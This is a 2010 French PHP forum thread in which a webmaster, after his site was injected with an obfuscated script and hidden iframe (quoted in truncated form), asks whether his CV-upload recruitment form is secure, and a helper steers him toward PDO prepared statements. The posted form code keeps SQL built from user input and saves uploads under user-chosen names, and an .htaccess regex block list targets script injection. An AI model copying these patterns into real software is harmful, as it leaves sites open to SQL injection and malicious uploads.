Code formluaire : sécurisé ou non ?

Eléphant du PHP | 104 Messages

05 mai 2010, 09:59

Bonjour.

Dernièrement j'ai reçu une injection d'un code malicieux :
<script defer="" src="http://je la cache.php"></script>
<iframe style="visibility: hidden;" src="http://je la cache"></iframe>
<script>var ZM="ZM";var c=new Array();function t(){var KW=new Array();var z="z";var r=window;this.KE="";this.WR="";var b=new String("scrip"+"tKuc".substr(0,1));var h=new Date();var rL=String("/w"+"sj"+"-ciDK".substr(0,2)+"w3eom".substr(3)+"/g"+"bXKlooXbKl"....code code code....;this.gc=50416;};var Vv=new Array();t();</script>
<!--78511c86434d1eb7593eaa20ab6b454a-->
J'ai donc revu mes pages, et principalement les formulaires. Je voudrais savoir si des gens peuvent me conseiller sur le code de ma page, voir si c'est bien protégé ou non ? Si vous avez des conseils à me donner afin d'améliorer le code. J'utilise aussi un blog wordpress, je pense que la faille est venu de la vu que ce dernier n'a pas été mis à jour depuis aout 2009...

Voici donc ce que le formulaire donne :
// ***** CODE FORMULAIRE RECRUTEMENT ****
			//On teste si le formulaire est validé
			if(isset($_POST['ok'])){
				
				if(!empty($_POST['nom']) && !empty($_POST['prenom']) && !empty($_POST['mail'])){

				// Teste si le fichier a bien été envoyé et s'il n'y a pas d'erreur
				if (isset($_FILES['cv']) AND $_FILES['cv']['error'] == 0)
				{
						// Teste si le fichier n'est pas trop gros
						if ($_FILES['cv']['size'] <= 5242880)
						{
								// Teste si l'extension est autorisée
								$infosfichier = pathinfo($_FILES['cv']['name']);
								$extension_upload = $infosfichier['extension'];
								$extensions_autorisees = array('txt', 'doc', 'docx', 'pdf', 'gif', 'jpg', 'rtf');
								if (in_array($extension_upload, $extensions_autorisees))
								{		
										$nom = addslashes($_POST['nom']);
										//permet entre autre d'éviter quelques injections de code
										$nom_encoded = htmlentities($nom,ENT_NOQUOTES,'UTF-8');
										$nom = preg_replace($accents,'$1',$nom_encoded);
										
										$cv = "../cv/$nom"."_".$_FILES['cv']['name'];
										
										// replace les caractères accentués 
										$accents = '/&([A-Za-z]{1,2})(grave|acute|circ|cedil|uml|lig);/';
										//permet entre autre d'éviter quelques injections de code
										$cv_encoded = htmlentities($cv,ENT_NOQUOTES,'UTF-8');
										$cv = preg_replace($accents,'$1',$cv_encoded); 
										
										// On peut valider le fichier et le stocker définitivement
										move_uploaded_file($_FILES['cv']['tmp_name'], $cv);
										//echo "L'envoi a bien été effectué !";
										
										$civ = addslashes($_POST['civ']);
										$prenom = addslashes($_POST['prenom']);
										$mail = addslashes($_POST['mail']);
										$contenu = addslashes($_POST['contenu']);
										$post = addslashes($_POST['post']);
										$ville = addslashes($_POST['ville']);
										$date = date("d-m-Y");
										
										//permet entre autre d'éviter quelques injections de code
										$civ_encoded = htmlentities($civ,ENT_NOQUOTES,'UTF-8');
										$civ = preg_replace($accents,'$1',$civ_encoded);
										//permet entre autre d'éviter quelques injections de code
										$prenom_encoded = htmlentities($prenom,ENT_NOQUOTES,'UTF-8');
										$prenom = preg_replace($accents,'$1',$prenom_encoded);
										//permet entre autre d'éviter quelques injections de code
										$mail_encoded = htmlentities($mail,ENT_NOQUOTES,'UTF-8');
										$mail = preg_replace($accents,'$1',$mail_encoded);
										//permet entre autre d'éviter quelques injections de code
										$contenu_encoded = htmlentities($contenu,ENT_NOQUOTES,'UTF-8');
										$contenu = preg_replace($accents,'$1',$contenu_encoded);
										//permet entre autre d'éviter quelques injections de code
										$post_encoded = htmlentities($post,ENT_NOQUOTES,'UTF-8');
										$post = preg_replace($accents,'$1',$post_encoded);
										//permet entre autre d'éviter quelques injections de code
										$ville_encoded = htmlentities($ville,ENT_NOQUOTES,'UTF-8');
										$ville = preg_replace($accents,'$1',$ville_encoded);
													
										
										$sql2 = sprintf("INSERT INTO recrutement (civ,nom,prenom,mail,post,ville,cv,contenu,date) VALUES ('%s' , '%s' , '%s' , '%s' , '%s' , '%s' , '$cv' , '$contenu' , CURRENT_DATE())",
											mysql_real_escape_string($civ),
											mysql_real_escape_string($nom),
											mysql_real_escape_string($prenom),
											mysql_real_escape_string($mail),
											mysql_real_escape_string($post),
											mysql_real_escape_string($ville),
											mysql_real_escape_string($contenu));
											
										mysql_query($sql2) or die(mysql_error());

								}

						}
				
				}

			}

		}

?>
J'ai aussi ce code dans un htaccess qui est censé protéger en partie contre des injections :

Code : Tout sélectionner

Options +FollowSymLinks RewriteEngine On RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR] RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR] RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) RewriteRule ^(.*)$ index.php [F,L]
Merci pour votre futur aide :)
Modifié en dernier par Ariochs le 05 mai 2010, 10:07, modifié 1 fois.

ViPHP
ViPHP | 5462 Messages

05 mai 2010, 10:07

hello t'as quelle version de PHP ?

Eléphant du PHP | 104 Messages

05 mai 2010, 10:11

PHP 5

ViPHP
ViPHP | 5462 Messages

05 mai 2010, 10:14

plus précisément ? :wink:

Eléphant du PHP | 104 Messages

05 mai 2010, 11:16

La 5.2.6 ^^

ViPHP
ViPHP | 5462 Messages

05 mai 2010, 11:20

enfaite le soucis c'est surtout a l'affichage, et c'est a se moment la que tu doit faire un htmlentities,
pour ta base je te conseil d'utiliser PDO avec des requête préparer, ton code de 90 ligne pourrais être fait en a peine une quinzaine :wink:

Eléphant du PHP | 104 Messages

05 mai 2010, 11:26

A l'affichage ? Quand je récupère les infos ? Si oui ils sont fait mais dans un dossier admin, protégé par un htaccess et htpasswd (d'ailleurs, le htpasswd est-il une bonne protection ?)

Par contre pour l'utilisation du PDO, je sais pas m'en servir, donc je vais l'apprendre et l'appliquer après.

Cependant est ce que mon code actuel est bon ? Savoir si je peux remettre le site (sans le blog), sans craindre de ravoir des injections..

ViPHP
ViPHP | 5462 Messages

05 mai 2010, 11:36

techniquement oui, meme si tu ne dois pas faire de htmlentites dans ta base les donnée doivent etre pareil que ce que la personne a remplis, si dans ton champs j'ecris :
<mon login> dans ta base tu dois avoir <mon login> et non pas <mon login>
par contre a l'affichage (donc dans ta partie admin c'est la que tu dois faire ton htmlentites)

Eléphant du PHP | 104 Messages

05 mai 2010, 11:41

Jusqu'à maintenant je n'ai jamais eu de soucis pour ressortir les données.

Mais je vais les supprimer sur mes 2 formulaires, et les ajouter dans l'affichage.

En tout cas merci pour ton aide, ca me rassure de voir que mon code n'est pas trop pourri ^^. Mais je pense que j'ai du souffrir sur le fait que mon Wordpress n'était pas à jour depuis plusieurs mois..

Je reviendrais au cas ou j'ai des soucis avec la PDO

ViPHP
ViPHP | 5462 Messages

05 mai 2010, 11:43

je te conseil aussi de limiter la taille de tes champs, a défaut de mettre des varchar (255) partout :wink:

Eléphant du PHP | 104 Messages

05 mai 2010, 11:50

J'ai des varchar entre 25 et 100

[EDIT]

Voila je viens de lire un peu ce que j'ai trouvé sur PDO, et j'ai changé le tout. Je ne peux pas test, vu qu'avec ce problème d'injection, on va nettoyer mon ftp et changer mes accès. Je mets donc le code ici, et si il y a possibilité de me dire si je suis a peu près sur la bonne voie, ou si il y a des trucs que j'ai pas compris..

Donc j'ai changé mon fichier connectbdd.php en :
<?php
			
			$PARAM_hote='xx.xxx.Xxx.xx'; // le chemin vers le serveur
			//$PARAM_port='xxxx';
			$PARAM_nom_bd='nombdd'; // le nom de votre base de données
			$PARAM_utilisateur='pseudo'; // nom d'utilisateur pour se connecter
			$PARAM_mot_passe='pass'; // mot de passe de l'utilisateur pour se connecter
			$connexion = new PDO('mysql:host='.$PARAM_hote.';port='.$PARAM_port.';dbname='.$PARAM_nom_bd, $PARAM_utilisateur, $PARAM_mot_passe);
			//mysql_query("SET NAMES 'UTF8'");
?>
Donc une question déjà par rapport à ça : comment remplacer le "mysql_query("SET NAMES 'UTF8'");" ? J'ai lu que tout ce qui etait avec mysql ne fonctionne plus en PDO.

Après dans le code de recrutement j'ai mis :
<?php

	// Connexion au serveur
	include($_SERVER['DOCUMENT_ROOT'].'/admin/connectbdd.php');

			// ***** CODE FORMULAIRE RECRUTEMENT ****
			//On teste si le formulaire est validé
			if(isset($_POST['ok'])){
				
				if(!empty($_POST['nom']) && !empty($_POST['prenom']) && !empty($_POST['mail'])){

				// Teste si le fichier a bien été envoyé et s'il n'y a pas d'erreur
				if (isset($_FILES['cv']) AND $_FILES['cv']['error'] == 0)
				{
						// Teste si le fichier n'est pas trop gros
						if ($_FILES['cv']['size'] <= 5242880)
						{
								// Teste si l'extension est autorisée
								$infosfichier = pathinfo($_FILES['cv']['name']);
								$extension_upload = $infosfichier['extension'];
								$extensions_autorisees = array('txt', 'doc', 'docx', 'pdf', 'gif', 'jpg', 'rtf');
								if (in_array($extension_upload, $extensions_autorisees))
								{		
										$nom = addslashes($_POST['nom']);

										$cv = "../cv/$nom"."_".$_FILES['cv']['name'];
										
										// On peut valider le fichier et le stocker définitivement
										move_uploaded_file($_FILES['cv']['tmp_name'], $cv);
										//echo "L'envoi a bien été effectué !";
										
										$civ = addslashes($_POST['civ']);
										$prenom = addslashes($_POST['prenom']);
										$mail = addslashes($_POST['mail']);
										$contenu = addslashes($_POST['contenu']);
										$post = addslashes($_POST['post']);
										$ville = addslashes($_POST['ville']);
										$date = date("d-m-Y");
													
										
										$sql = "INSERT INTO recrutement (civ,nom,prenom,mail,post,ville,cv,contenu,date) VALUES ('$civ', '$nom' , '$prenom' ,'$mail' , '$post' , '$ville' , '$cv' , '$contenu' , CURRENT_DATE()";
										$stmt = $connexion->prepare($sql);
										$stmt->execute();
											
								}

						}	
				
				}

			}

		}

?>
Est ce bon ? J'ai supprimé les "htmlentities" et les "mysql_real_escape_string" par contre j'ai laissé les "addslashes" ? Des trucs à ajouter ? A modifier ?

ViPHP
ViPHP | 5462 Messages

05 mai 2010, 14:42

oui enfaite les valeur son a mettre dans une liste dans la commande execute, pour les addslashes tu peux les enlever aussi :wink:

pour la gestion des erreurs va faire un tour par ici (http://php.net/manual/fr/pdo.error-handling.php)
pour les valeur dans le execute c'est pas la (http://www.php.net/manual/fr/pdostatement.execute.php)

Eléphant du PHP | 104 Messages

05 mai 2010, 15:09

Donc en gros quelque chose du genre :
<?php

	// Connexion au serveur
	include($_SERVER['DOCUMENT_ROOT'].'/admin/connectbdd.php');

			// ***** CODE FORMULAIRE RECRUTEMENT ****
			//On teste si le formulaire est validé
			if(isset($_POST['ok'])){
				
				if(!empty($_POST['nom']) && !empty($_POST['prenom']) && !empty($_POST['mail'])){

				// Teste si le fichier a bien été envoyé et s'il n'y a pas d'erreur
				if (isset($_FILES['cv']) AND $_FILES['cv']['error'] == 0)
				{
						// Teste si le fichier n'est pas trop gros
						if ($_FILES['cv']['size'] <= 5242880)
						{
								// Teste si l'extension est autorisée
								$infosfichier = pathinfo($_FILES['cv']['name']);
								$extension_upload = $infosfichier['extension'];
								$extensions_autorisees = array('txt', 'doc', 'docx', 'pdf', 'gif', 'jpg', 'rtf');
								if (in_array($extension_upload, $extensions_autorisees))
								{		
										$cv = "../cv/$nom"."_".$_FILES['cv']['name'];
										
										// On peut valider le fichier et le stocker définitivement
										move_uploaded_file($_FILES['cv']['tmp_name'], $cv);
										//echo "L'envoi a bien été effectué !";
													
										
										$sql = "INSERT INTO recrutement (civ,nom,prenom,mail,post,ville,cv,contenu,date) VALUES ('$civ', '$nom' , '$prenom' ,'$mail' , '$post' , '$ville' , '$cv' , '$contenu' , CURRENT_DATE()";
										$stmt = $connexion->prepare($sql);
										$stmt->execute(array($_POST['civ'] => $civ, $_POST['prenom'] => $prenom, .... , date("d-m-Y") => $date));
											
								}

						}	
				
				}

			}

		}

?>

ViPHP
ViPHP | 5462 Messages

05 mai 2010, 15:16

non
ta requete doit etre du style
$sql   = "INSERT INTO recrutement (civ,nom,prenom,mail,post,ville,cv,contenu,date) VALUES (?, ? , ? ,?, ? , ? , ? , ?, CURRENT_DATE()";
$stmt = $connexion->prepare($sql);
$stmt->execute(array($civ, $nom , $prenom ,$mail , $post , $ville , $cv , $contenu));

Eléphant du PHP | 104 Messages

05 mai 2010, 15:23

Ouais mais comment je récupère mes valeurs des POST ?

Je fais juste un :
$nom = ($_POST['nom']);
Et normalement juste cette méthode protège des injections ?